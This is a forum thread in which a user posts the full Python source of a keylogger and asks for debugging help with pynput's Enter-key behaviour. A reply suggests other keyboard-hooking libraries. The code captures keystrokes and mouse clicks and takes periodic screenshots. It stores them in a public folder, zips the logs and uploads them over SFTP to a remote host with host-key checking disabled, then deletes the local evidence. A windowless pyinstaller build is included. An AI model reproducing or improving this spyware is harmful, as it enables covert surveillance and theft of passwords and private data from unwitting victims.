[Keylogger] PyNput will sometimes override "enter" - zikkioxan - Mar 10, 2017
Basically my issue is that when using PyNput listener, sometimes the enter key will just NOT work anymore.
I've looked at the docs and support tickets and such for the library and I think I'm the only one with this issue. It could be the way I formatted it, because I'm not the best with threading.
Code with Listener(on_release=on_release) as keyboardlistener:
with mouse.Listener(on_click=on_click) as mouselistener:
keyboardlistener.join()
mouselistener.join()
I believe this is the main issue. I don't really know of a better way to listen for both so I did sort of 2 (?) loops at the same time, and it may be overriding some input.
Here is my full code, minus some FTP details:
Edit: I can't actually post links until 50+ posts. So, here's the whole thing I guess.
Code #Python 3.5.3 (v3.5.3:1880cb95a742, Jan 16 2017, 16:02:32) [MSC v.1900 64 bit (AMD64)] on win32
log_dir = "C:/Users/Public/_l/logs/"
screen_dir = "C:/Users/Public/_l/logs/screen_dir/"
archive_dir = "C:/Users/Public/_l/archives/"
#If for some reason it can't write to this directory, it defaults to C:/Users/Public.
#If it can't write to that location and/or the laws of physics no longer apply in the future, god help you.
###########################################################
#pip install pyinstaller
#pyinstaller -w -F -i icon.ico logger.py
from pynput.keyboard import Key, Listener #pip install pynput <-
from pynput import mouse #pip install pynput __\
from PIL import ImageGrab #pip install PILLOW
from PIL import Image #pip install PILLOW
import pysftp #pip install pysftp
import base64
import shutil
import os
import time
import logging
import datetime
past = 0
curword = ""
def TryFolderCreation(directory):
try:
if not os.path.exists(directory):
os.makedirs(directory)
return directory
except:
return "C:/Users/Public/"
def on_release(key):
WordOrganizer(str(key))
return True
def on_click(x,y,button,pressed):
global past
WordOrganizer(str(buttosn))
#Since the mouse usually moves a lot, use the mouse loop. If the mouse is inactive the mouse won't be called until it moves again.
#That's actually kind of useful.
if time.time() >= 60+past:
past = time.time()
Screenshot()
def Screenshot():
now = datetime.datetime.now()
path = log_dir + now.strftime("%d-%m-%Y") + "/"
path = TryFolderCreation(path)
name = now.strftime("%d-%m-%Y") + "-" + str(now.hour) + "-" + str(now.minute) + "-" + str(now.second) + "-" + str(now.microsecond)
image = ImageGrab.grab()
width,height = image.size
image.resize((round(width*0.75),round(height*0.75)),Image.ANTIALIAS)
image.save(path + name + ".jpg", optimize=False,quality=40)
def OutputCurword(curword):
Screenshot()
now = datetime.datetime.now()
currentfilename = now.strftime("%d-%m-%Y")
filepath = log_dir
#Pathchecking
filepath = TryFolderCreation(filepath)
#
logging.basicConfig(filename=(log_dir + currentfilename + ".txt"), level=logging.DEBUG, format='%(message)s')
logging.info(curword)
def WordOrganizer(key):
global curword
key = str(key) #Just in case
if "Key.space" in key:
curword += " "
elif "Key.backspace" in key:
try:
curword = curword[:-1]
except:
pass
elif not key.startswith("Key.") and not key.startswith("Button."):
try:
curword += key[1:-1]
except:
try:
curword += key
except:
pass
elif key.startswith("Key.shift"):
pass
else:
if curword != "":
print("Outputting " + curword)
OutputCurword(curword)
curword = ""
print(key)
print(curword)
def init():
global archive_dir
global log_dir
#global emailvars
compressed = False
uploaded = False
now = datetime.datetime.now()
name = now.strftime("%d-%m-%Y") + "-" + str(now.hour) + "-" + str(now.minute) + "-" + str(now.second) + "-" + str(now.microsecond)
path = TryFolderCreation(archive_dir)
try:
shutil.make_archive(path + name, 'zip', log_dir)
compressed = True
if compressed:
shutil.rmtree(log_dir)
except:
pass
# Defines the name of the file for download / upload
remote_file = path + name + ".zip"
cnopts = pysftp.CnOpts()
cnopts.hostkeys = None
try:
with pysftp.Connection(host="host", username="username",password="password", cnopts=cnopts) as sftp:
# To upload the file, simple replace get with put.
sftp.put(remote_file)
uploaded = True
if uploaded:
shutil.rmtree(path)
except:
pass
with Listener(on_release=on_release) as keyboardlistener:
with mouse.Listener(on_click=on_click) as mouselistener:
keyboardlistener.join()
mouselistener.join()
init()
I know, my code is unorganized and very unoptimized. I didn't think anyone would see it.
Thanks for any help in advance!
* - TheWarOwl - Mar 10, 2017
I don't really know that module, but I'd highly recommend pyhook and pythoncom (it'll require it to work). This way you can customize it in whatever way you'd like. I'll also detect Enter, Left Shift, Right Shift, function keys etc... pretty much anything your heart desires
* - zikkioxan - Mar 10, 2017
(Mar 10, 2017 06:51 PM)Piero-Bird Wrote: I don't really know that module, but I'd highly recommend pyhook and pythoncom (it'll require it to work). This way you can customize it in whatever way you'd like. I'll also detect Enter, Left Shift, Right Shift, function keys etc... pretty much anything your heart desires
Its worth a look but that's not the issue, It logs enter just fine, but sometimes enter doesnt register on the operating system. I've tested it on a VM so its not a user specific issue. Enter is being pressed and somehow it logs that enter was pressed, yet the in-between of the OS actually performing the action of pressing enter sometimes doesn't happen. And its just that one key, I played a game with it active and common keys like control, shift etc work and log just fine.
Just wondering if there's any other way to do the two nested "with x as y"s.
|